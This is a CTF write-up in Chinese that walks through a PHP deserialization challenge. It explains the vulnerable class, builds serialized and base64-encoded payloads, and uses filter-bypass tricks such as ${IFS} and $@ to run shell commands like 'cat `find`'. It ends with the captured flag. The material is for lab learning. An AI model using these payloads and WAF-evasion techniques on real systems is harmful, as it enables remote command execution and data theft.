题目:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
unserialize可知php反序化
分析代码:
1. `class ease{}`:这里定义了一个名为`ease`的类。
2. `private $method;`和`private $args;`:这两行声明了类中的两个私有属性`$method`和`$args`,这些属性只能在类的内部访问。
3. `function __construct($method, $args) {...}`:这是类的构造函数`__construct`,在类实例化时会被自动调用。构造函数接受两个参数`$method`和`$args`,并将它们分别赋值给类的属性`$method`和`$args`。
4. `$this->method = $method;`和`$this->args = $args;`:这两行代码将构造函数接收到的参数值分别赋给类的属性`$method`和`$args`。
1. `function __destruct(){}`:这是一个特殊的PHP魔术方法`__destruct()`,用于在对象被销毁时自动调用。当对象不再被引用时,PHP会自动调用`__destruct()`方法。
2. `if (in_array($this->method, array("ping"))) {...}`:这里使用`in_array()`函数检查`$this->method`是否在数组`array("ping")`中。如果`$this->method`的值是`ping`,则执行下面的代码块。
3. `call_user_func_array(array($this, $this->method), $this->args);`:这行代码使用`call_user_func_array()`函数动态调用对象的方法。它接受两个参数,第一个参数是一个数组,包含要调用的对象和方法名,第二个参数是一个数组,包含要传递给方法的参数。在这里,它会调用当前对象的`$this->method`方法,并传递`$this->args`作为参数。
function ping($ip){}
:这是一个PHP函数的定义,函数名为ping
,接受一个参数$ip
。
exec($ip, $result);
:这行代码使用exec()
函数执行系统命令,其中$ip
是要执行的命令,$result
是一个数组,用来存储命令执行的结果。
var_dump($result);
:这行代码使用var_dump()
函数输出$result
数组的内容,显示数组中的元素及其类型。
function waf($str){}
:这是一个PHP函数的定义,函数名为waf
,接受一个参数$str
。
if (!preg_match_all("/(\||&|; |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {}
:这行代码使用preg_match_all()
函数对输入的字符串$str
进行正则表达式匹配。如果字符串中不包含|
、&
、;
、空格、/
、cat
、flag
、tac
、php
、ls
这些关键词,则执行下面的代码块。
return $str;
:如果字符串不包含上述关键词,则直接返回原始的输入字符串$str
。
else { echo "don't hack"; }
:如果字符串中包含上述关键词,则输出don't hack
,表示不允许进行恶意操作。
function __wakeup(){}
:这是PHP中的一个魔术方法__wakeup()
,在反序列化对象时会自动调用该方法。
foreach($this->args as $k => $v) {}
:这行代码使用foreach
循环遍历对象的$this->args
属性,将键值对分别赋值给变量$k
和$v
。
$this->args[$k] = $this->waf($v);
:在循环中,对每个值$v
进行过滤处理,调用对象的waf()
方法对其进行处理,并将处理后的值重新赋给$this->args[$k]
。
定义了一个__wakeup()
魔术方法,在对象反序列化时会对对象的$this->args
属性中的每个值进行过滤处理,调用对象的waf()
方法对其进行过滤,并更新属性的值
$ctf=@$_POST['ctf'];
:这行代码首先尝试从$_POST
数组中获取名为ctf
的参数的值,并将其赋给变量$ctf
。在这里使用了@
符号来抑制可能的错误提示,即使获取$_POST['ctf']
的值出现错误也不会抛出错误。
@unserialize(base64_decode($ctf));
:这行代码对获取到的$ctf
值进行处理。首先使用base64_decode()
函数对$ctf
进行解码,然后使用unserialize()
函数对解码后的值进行反序列化操作。
作用是从$_POST
请求中获取名为ctf
的参数值,对该值进行base64解码后再进行反序列化操作。这种操作可能存在安全风险,因为恶意用户可以利用反序列化漏洞执行恶意代码。因此,在实际应用中需要谨慎处理用户输入数据,以防止安全漏洞的发生。
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
分析可得playload:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('id'));
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>
在PHP 在线工具 | 菜鸟工具 (jyshare.com)运行后得
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"id";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJpZCI7fX0=
取<br>后字符串
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJpZCI7fX0=
用火狐hackbar
说明命令执行成功
因为下面有过滤:考虑
${IFS} //空格绕过
$@ //空变量
修改playload
$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可
将$@插入ls中间
运行
注意提交时字符串前加入ctf=
同样得到代码
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l$@s";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJEBzIjt9fQ==
继续取后面的字符串
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJEBzIjt9fQ==
再次在hackbar中执行
发现可疑目录flag_1s_here
接下来看看它目录下的文件
find 查看当前及子目录下的所有文件
使用cat查看find列出的文件,
重新构造playlaod
$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可
其中ca$@t${IFS}`find`
解析下来应该为 cat `find`
cat查看文件
find查找文件
反引号`
用来执行命令,并将命令的输出作为字符串返回。在这里,执行find
命令,用于在文件系统中查找文件
后重新生成playload
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:17:"ca$@t${IFS}`find`";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319
同样截取后面的字符串
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319
在hackbar中提交
箭头即为flag
cyberpeace{7db3fb76fcfcd76a94e6d9c828a09542}